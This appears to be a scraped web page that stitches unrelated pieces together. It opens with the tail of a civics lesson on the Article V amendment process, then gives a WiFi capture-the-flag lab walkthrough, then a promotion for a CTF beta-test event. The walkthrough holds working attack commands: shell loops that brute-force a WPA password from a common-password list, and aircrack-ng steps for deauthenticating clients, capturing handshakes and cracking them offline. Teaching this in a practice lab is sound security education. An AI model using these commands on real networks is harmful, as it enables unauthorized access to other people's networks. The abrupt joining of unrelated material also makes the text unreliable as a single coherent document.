Would allow Congress to ban flag burning. Came within one vote of passing Senate multiple times. Raises First Amendment concerns.

Failed Historical Proposals:

  • Eliminating Electoral College (proposed many times)
  • Limiting federal spending or taxation
  • School prayer
  • Prohibition on same-sex marriage
  • Balanced budget
  • Campaign finance reform
  • Line-item veto for President

Evaluate: Too Hard or Just Right?

Arguments the Process Is Too Difficult:

  • Constitution enshrines outdated provisions (Electoral College, Senate representation)
  • Small states representing minority of population can block needed changes
  • Modern problems (climate change, digital privacy, campaign finance) need constitutional solutions
  • Other democracies amend their constitutions more easily and survive

Arguments the Process Is Appropriately Difficult:

  • Stability is valuable; rule of law requires enduring framework
  • Difficult amendments ensure broad consensus
  • Easy amendments would lead to constitutional chaos
  • Other countries’ constitutions are weaker precisely because they’re easily changed
  • Many issues can be addressed through legislation or interpretation, not amendment

Alternative to Amendment—Constitutional Interpretation:
Because formal amendment is so difficult, the Constitution evolves primarily through interpretation:

  • Judicial decisions expand or contract constitutional meaning
  • Congressional statutes fill in details
  • Executive practices establish precedents
  • Social movements change how rights are understood

Is this legitimate? Or does it bypass the amendment process the framers carefully designed?

The Unresolved Tension:
The Constitution is simultaneously:

  • The supreme law—above normal politics
  • A living document—evolving with society

How do we balance these? Too much change undermines stability. Too little change makes the Constitution irrelevant. Article V tries to thread this needle, but reasonable people disagree on whether it succeeds.

Key Vocabulary

  • Amendment: Formal change to the Constitution
  • Proposal: First step—amendment suggested (requires 2/3)
  • Ratification: Second step—amendment approved (requires 3/4)
  • Article V: Constitutional provision establishing amendment process
  • Supermajority: More than simple majority (50%+1); amendments require 2/3 and 3/4

Think About It

If you could make the amendment process easier (simple majority? 60%?) or harder (unanimous consent?), would you? What would be the consequences of your choice?

Additional Resources

Primary Source: Read Article V of the Constitution:
https://www.archives.gov/founding-docs/constitution-transcript

Notice the careful balance: multiple paths to proposal and ratification, but all requiring supermajorities.

Read Federalist No. 43 by James Madison explaining Article V:
https://avalon.law.yale.edu/18th_century/fed43.asp

Madison addresses the Anti-Federalist criticism that the amendment process is too difficult, arguing it appropriately balances “that extreme facility… and that extreme difficulty.”

See the full list of proposed constitutional amendments:
https://www.congress.gov/search?q=%7B%22source%22%3A%22legislation%22%2C%22search%22%3A%22proposing+an+amendment%22%7D

Thousands have been proposed. The vast majority never leave committee.


Tomorrow: We’ll explore the major amendments after the Bill of Rights—how the Constitution has evolved through crisis and reform.

WiFi Password Cracking Challenge

In this lab, you will learn how to brute force the WiFi credentials of the CTF_LAB access point. This is the first challenge in the WiFi CTF competition and teaches fundamental concepts of password security and dictionary attacks.

Challenge Objectives:

  • [ ] Find the wifi network
  • [ ] Manually guess some passwords
  • [ ] Find a dictionary
  • [ ] Find a command to use to connect to wifi networks
  • [ ] Figure out how to push the passwords from the dictionary file into the wifi connection command
  • [ ] Launch the attack and discover the credential

BEFORE YOU START

Prerequisites:

  1. The CTF Lab Raspberry Pi must be powered on and running
  2. The WiFi Access Point should be broadcasting (wait ~1-2 minutes after power-on)
  3. You should have a laptop or mobile device capable of WiFi scanning
  4. IMPORTANT: DO NOT PERFORM THIS WORK ON A CORPORATE OR MANAGED LAPTOP. Use a personal computer you own, as security/IT teams may flag hacking tools as malicious software

What You’ll Learn:

  • WiFi network reconnaissance
  • Password dictionary attacks
  • Command-line automation with loops
  • The importance of strong passwords

Discovering the WiFi Network

The Raspberry Pi CTF Lab operates as a WiFi access point that you can practice ethical hacking against. About 1-2 minutes after it is powered on, it will broadcast a WiFi network with the SSID (network name):

CTF_LAB

Finding the Network

You can discover this network from any WiFi-capable device:

On Mobile Devices (iOS/Android):

  • Open Settings → WiFi
  • Look for the network named CTF_LAB in the available networks list

On Mac:

  • Click the WiFi icon in the menu bar
  • Look for CTF_LAB in the network list

On Linux:

# Scan for available networks
nmcli device wifi list

# Or use iwlist
sudo iwlist wlan0 scan | grep -i "ctf_lab"

On Windows:

  • Click the WiFi icon in the system tray
  • Look for CTF_LAB in the available networks

Progress:

  • [x] Find the wifi network
  • [ ] Manually guess some passwords
  • [ ] Find a dictionary
  • [ ] Find a command to use to connect to wifi networks
  • [ ] Figure out how to push the passwords from the dictionary file into the wifi connection command
  • [ ] Launch the attack and discover the credential

Manually Guessing a Password

Now that you’ve found the CTF_LAB network, you can try connecting with some common passwords. Try a few guesses manually:

  • password
  • 12345678
  • admin
  • ctf
  • supervisor

Unless you’re very lucky (or very strategic), you probably won’t guess it immediately. This demonstrates an important security principle: password strength matters.

Why Dictionary Attacks Work

You might wonder why manual guessing is ineffective, but a dictionary attack can succeed. Here’s the key insight:

Password Space vs. Memorable Passwords

  • Total possible passwords: With lowercase letters, uppercase, numbers, and symbols, an 8-character password has over 200 trillion possible combinations
  • Memorable passwords: Most people choose passwords they can remember, which drastically reduces the search space to maybe a few million common choices

Since humans tend to use memorable passwords (dictionary words, names, common phrases), attackers can:

  1. Start with a list of commonly used passwords
  2. Try these first before resorting to true brute force
  3. Often succeed without testing billions of random combinations

This is why password managers and randomly generated passwords are so important for real security!

Progress:

  • [x] Find the wifi network
  • [x] Manually guess some passwords
  • [ ] Find a dictionary
  • [ ] Find a command to use to connect to wifi networks
  • [ ] Figure out how to push the passwords from the dictionary file into the wifi connection command
  • [ ] Launch the attack and discover the credential

Finding a Dictionary

Let’s try to find a common password list. You can do this by searching google for the following phrase:

“10k most common passwords”

you should see a link to a github repository show up that’s at the following url:

https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt

Browse to the page. Click on the button labeled “raw” on the right side of the page. You can then save this file to your computer by clicking on the file menu for the browser and selecting “save as.”

alt text

When you click on Save as, a dialog will show up:

alt text

You’ll need to create a directory for starting our hacking. You can do this from within the dialog by clicking on New Folder. Name it HackingLab and click Create.

alt text

Then go ahead and click on save. You’ll now have a file called “10k-most-common.txt” in the Hacking lab direcotry. Let’s learn to view the file from the command line. Let’s use spotlight to open up the terminal by hitting command and space simultaneously, and then typing in terminal:

alt text

Change into your HackingLab directory by typing the following:

cd HackingLab Now that you’re in the HackingLab directory, let’s view the password file:

more 10k-most-common.txt

You’ll see that each row of the file contains a password.

alt text

Hit q to leave the more command.

Progress:

  • [x] Find the wifi network
  • [x] Manually guess some passwords
  • [x] Find a dictionary
  • [ ] Find a command to use to connect to wifi networks
  • [ ] Figure out how to push the passwords from the dictionary file into the wifi connection command
  • [ ] Launch the attack and discover the credential

Finding a Command to Connect to WiFi Networks

Now we have a password list – we need to figure out how to automate connection attempts. The approach varies by operating system:

Mac OS

Search Google for “Connect to wifi from command line mac” to find resources. Here are the key commands:

Scan for networks:

/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s

Connect to a network:

networksetup -setairportnetwork en0 <SSID_OF_NETWORK> <PASSWORD>

Try running the airport -s command to see available networks. You should see CTF_LAB in the list.

Testing a single password:

networksetup -setairportnetwork en0 CTF_LAB somepassword

When you run this, your WiFi will disconnect temporarily. If the password is wrong, you’ll see an error message.

Linux

Using nmcli (NetworkManager):

# Scan for networks
nmcli device wifi list

# Connect to network
nmcli device wifi connect CTF_LAB password somepassword

Using wpa_supplicant (manual):

# Create config
wpa_passphrase CTF_LAB somepassword > /tmp/wpa.conf

# Connect
sudo wpa_supplicant -B -i wlan0 -c /tmp/wpa.conf

Windows (PowerShell)

# View available networks
netsh wlan show networks

# Connect to network
netsh wlan connect name="CTF_LAB"

For automated password testing on Windows, you’ll need to create a WiFi profile XML file for each password attempt, which is more complex than on Mac/Linux.

Progress:

  • [x] Find the wifi network
  • [x] Manually guess some passwords
  • [x] Find a dictionary
  • [x] Find a command to use to connect to wifi networks
  • [ ] Figure out how to push the passwords from the dictionary file into the wifi connection command
  • [ ] Launch the attack and discover the credential

Automating the Dictionary Attack

Now for the exciting part – we’ll automate the password testing using a loop that tries each password from our dictionary file!

Mac OS Script

At the terminal, type the following lines and hit Enter at the end of each line:

while read passwordfilevalue; do
  networksetup -setairportnetwork en0 CTF_LAB "$passwordfilevalue"
  ifconfig en0 | grep inet
  echo "Tried password: $passwordfilevalue"
done < 10k-most-common.txt

What this script does:

CommandPurpose
while read passwordfilevalue; doCreates a loop that reads the password list one row at a time
networksetup -setairportnetwork en0 CTF_LAB "$passwordfilevalue"Attempts to connect to CTF_LAB using the current password
`ifconfig en0grep inet`
echo "Tried password: $passwordfilevalue"Prints the password we just tried
done < 10k-most-common.txtReads from the password dictionary file

How to detect success:

  • When you see an inet line with an IP address (like inet 192.168.4.100), you’ve connected successfully!
  • The password printed immediately before the IP address is the correct one
  • The CTF_LAB network uses the 192.168.4.0/24 subnet, so successful connections will show an IP like 192.168.4.X

Linux Script

while read passwordfilevalue; do
  nmcli device wifi connect CTF_LAB password "$passwordfilevalue" 2>&1
  if [ $? -eq 0 ]; then
    echo "SUCCESS! Password found: $passwordfilevalue"
    break
  else
    echo "Failed password: $passwordfilevalue"
  fi
done < 10k-most-common.txt

Advanced: Using Aircrack-ng Suite (Linux)

For a more sophisticated approach, you can capture the WPA2 handshake and crack it offline:

# 1. Put WiFi adapter in monitor mode
sudo airmon-ng start wlan0

# 2. Scan for networks
sudo airodump-ng wlan0mon

# 3. Capture handshake (note the channel and BSSID of CTF_LAB)
sudo airodump-ng -c <channel> --bssid <BSSID> -w ctf_capture wlan0mon

# 4. In another terminal, deauth a client to force handshake
sudo aireplay-ng -0 1 -a <BSSID> wlan0mon

# 5. Once handshake is captured, crack it
aircrack-ng -w 10k-most-common.txt ctf_capture-01.cap

Progress:

  • [x] Find the wifi network
  • [x] Manually guess some passwords
  • [x] Find a dictionary
  • [x] Find a command to use to connect to wifi networks
  • [x] Figure out how to push the passwords from the dictionary file into the wifi connection command
  • [x] Launch the attack and discover the credential

What You Should See

As the script runs, you’ll see:

  • Each password being tried
  • Connection errors for wrong passwords
  • When successful: An IP address in the 192.168.4.X range appears!

The password is somewhere in that 10k common password list. Watch the output carefully to catch the successful connection.

Hint: Think about common passwords related to oversight, management, or authority. The CTF_LAB password is a common English word.

Next Steps

Once you’ve successfully connected to the CTF_LAB WiFi network, you’re ready to:

  1. Scan the network to find a registration resource
  2. Register
  3. Access the dashboard
  4. Begin exploring the web services and system challenges
  5. Start earning points!

Congratulations on completing your first challenge! You’ve learned:

  • WiFi reconnaissance techniques
  • The power of dictionary attacks
  • Why password strength matters
  • Basic bash scripting for automation

Hands-On WiFi Security CTF: Beta Test Experience

Where are you in your security journey? Let’s find out together.

I’m inviting you to beta test my new WiFi security CTF — a deliberately vulnerable Raspberry Pi network that gives you a safe space to truly test what you know, discover what you’re capable of, and chart your path forward.

Visit https://wifictf.patrickmccanna.net to learn more and sign up.

If you’re on the fence about attending- here’s a summary of what you can expect to experience. Be sure to signup, then show up to Big Block Brewery in Carnation WA on Sat. Nov 29th between 1-4 pm.

Show up with your laptop or phone- and search for the wifi network:

The Challenge

A password-protected WiFi network called “CTF_LAB” is your starting point. Your mission:

  1. Gain access to the WiFi network — apply wireless exploitation techniques
  2. Enumerate and understand the network — map what’s running and where
  3. Identify and exploit vulnerabilities — put your knowledge into practice
  4. Achieve persistent root access — prove you can chain exploits effectively
  5. Earn points for successful exploitation — not just for finding things, but for making them work

This lab rewards execution. You get points when your exploits actually work — because that’s what matters in the real world.

Why This Lab Exists

You deserve to know what you’re actually capable of. Not what you think you can do, or what you’ve read about — what you can execute when it counts. This lab gives you that clarity.

Growth happens at the edge of your abilities. This CTF is designed to meet you wherever you are: if you’re just starting out, you’ll learn foundational techniques. If you’re experienced, you’ll get to validate your skills and find the gaps you didn’t know existed. Both are valuable.

Real scenarios build real skills. The vulnerabilities here mirror actual IoT security assessments. The techniques that work here will serve you in professional security work, research, or wherever your curiosity takes you.

Your Experience

You’ll begin outside the network. Getting in might mean capturing and cracking a WPA handshake, or it might mean taking the shortcut and focusing on what comes next — it’s your call.

Once you’re on the network, the real exploration begins. What’s running? Where? How can these services be leveraged? Each vulnerability you discover and exploit opens doors to the next challenge.

This is where you’ll learn the most about yourself. Can you enumerate effectively? Do you recognize exploitation opportunities when you see them? Can you chain attacks together? These aren’t just technical questions — they’re diagnostic. The answers tell you exactly what to learn next.

Hit a wall? The lab includes embedded educational guides that explain concepts and techniques without robbing you of the “aha!” moment. You’ll still need to apply what you learn — because that’s where growth happens. And I’m here if you need a nudge in the right direction.

Who This Is For

This lab is for anyone who’s serious about understanding their own capabilities:

  • Learners who are ready to find out if they can actually do what they’ve been studying
  • Practitioners who want an honest assessment of where they stand
  • The curious who wonder if they’re as capable as they hope they are
  • The ambitious who want to identify what to master next

What You’ll Discover

Every person who takes on this challenge learns something different:

  • You might discover you’re further along than you thought
  • You might find unexpected strengths in areas you hadn’t focused on
  • You might identify specific gaps that, once filled, will level up your entire skillset
  • You might surprise yourself with what you can figure out when the pressure is on

All of these outcomes are wins. Knowing where you stand is the foundation for getting where you want to go.

Begin Your Assessment

The beta test is live. Bring your laptop, your curiosity, and your willingness to be honest with yourself about what you know.

Starting your security journey? This lab will show you what’s possible and give you a clear path forward.

Already experienced? This is your chance to validate your skills against realistic scenarios and find your next growth edge.

Visit wifictf.patrickmccanna.net to participate.

I’m excited to see what you discover!